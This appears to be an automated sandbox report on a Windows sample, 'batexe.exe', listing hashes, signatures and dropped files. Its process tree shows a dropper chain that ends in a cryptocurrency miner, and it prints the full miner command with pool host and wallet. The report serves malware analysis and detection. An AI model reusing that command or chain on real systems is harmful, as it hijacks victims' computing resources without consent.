73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
291s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 01:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3632	b2e.exe
1416	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1416	cpuminer-sse2.exe
1416	cpuminer-sse2.exe
1416	cpuminer-sse2.exe
1416	cpuminer-sse2.exe
1416	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5052-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 3632	5052	batexe.exe	85
PID 5052 wrote to memory of 3632	5052	batexe.exe	85
PID 5052 wrote to memory of 3632	5052	batexe.exe	85
PID 3632 wrote to memory of 4300	3632	b2e.exe	86
PID 3632 wrote to memory of 4300	3632	b2e.exe	86
PID 3632 wrote to memory of 4300	3632	b2e.exe	86
PID 4300 wrote to memory of 1416	4300	cmd.exe	89
PID 4300 wrote to memory of 1416	4300	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Users\Admin\AppData\Local\Temp\6A81.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6A81.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6A81.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6DCD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\6A81.tmp\b2e.exe

Filesize
25.5MB

MD5
9d4eb01bdd0e541f183e1d9a2e054339

SHA1
1f34bd06bf1db7efeba426f55cf7460d3157aab9

SHA256
49d74156e1b088a91071a37f3c0c4d9b6fc374530f07f3b9ed79137c84a4c93d

SHA512
a68788b811935386e695cd84963cf70c4fea3909307ce3517846779fbbec4c61cc151b67b0020af1388bcea89ac30ef32427047466e965c84d76868c12b6595d

Download Submit
C:\Users\Admin\AppData\Local\Temp\6A81.tmp\b2e.exe

Filesize
11.5MB

MD5
bf55dc7f7102a46baa5439bd5845856d

SHA1
7f417ff395352ff3cc49a7e8373f8e2f4a880dee

SHA256
4b36e460789d04ae97415b3773abec77364ddcd9ffe1224228cc6199dfe26bdf

SHA512
ff802b04a9a04264565153711dada9942981f405d75d3851027cc06dd38f05668ab9e13a0d4fad1c0bb12dbe05ed0fb1e88684a8b27348570ea5f9d33b3ade1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\6A81.tmp\b2e.exe

Filesize
10.7MB

MD5
39e382014b8c95bf2cd8e465e5f17655

SHA1
fcd3cd91ab36009a78a67de1bb189d3eaeff40ff

SHA256
a9859939ce18c8f66820c127852043fe6d180cfde388143d5ba6657499736327

SHA512
a5481cacfb21dd820ec070c8ff7c9c410dec6993e25e07c9bd61902390a265f98a866d353375e393234997c97ebb3587d61184131eaee7c9c0180f15042baa1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\6DCD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.5MB

MD5
b4fe0b4675815af9dae70ae6b8e2a212

SHA1
bd7c446eb872b51113e6b5aca9cbe44c57a119e0

SHA256
8649dbeeb4d4998c5ec0c6e6ff703ccc26bc4a1c6c74925bc25709107305ede2

SHA512
cef3e2575a8eab81ca87551efd48dc5dcc55c01af0638fdb6fe398f3fcd3727dd42dd9b9516721e56323249f2c47211a9a4b2ce5bb57019ffd3ddcf98d692a0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.1MB

MD5
0235e2b84b5b3ce9b6f08ca734140226

SHA1
e68ac01a08c72b34a6844bbaf6ed3116251d5152

SHA256
e6bd2de8c228cdef651c491f220cab56ee726d47782fa80ea49d584e83104210

SHA512
dd2a95b20dd858327ebe4b2a5e400149585cabd20b93279e9ba0c8e0b6a66d8f7465bdb44ac30b8bad99c710b9d01d405249b4aaf865143bca70615388001fc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.6MB

MD5
3585fb1ec52a68efb71e19e71b64e4ae

SHA1
8e27091be67e94b374d1118a33c6e7742e5ac21e

SHA256
ca589a6de008db858a551744ddc8b5a01ab879f4db9c0b9d9da751c536bdd18a

SHA512
81adffd0e1a46b1147bd9b6c2a3460de70b23982b10d1efb9d3b88c89c15ba2f770829caecdd4c1e43a2f6be1e86d1de07abb748beae883fc1ea6cd72366d926

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1416-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1416-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1416-46-0x0000000074D80000-0x0000000074E18000-memory.dmp

Filesize
608KB

Download
memory/1416-47-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/1416-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1416-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3632-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3632-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5052-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download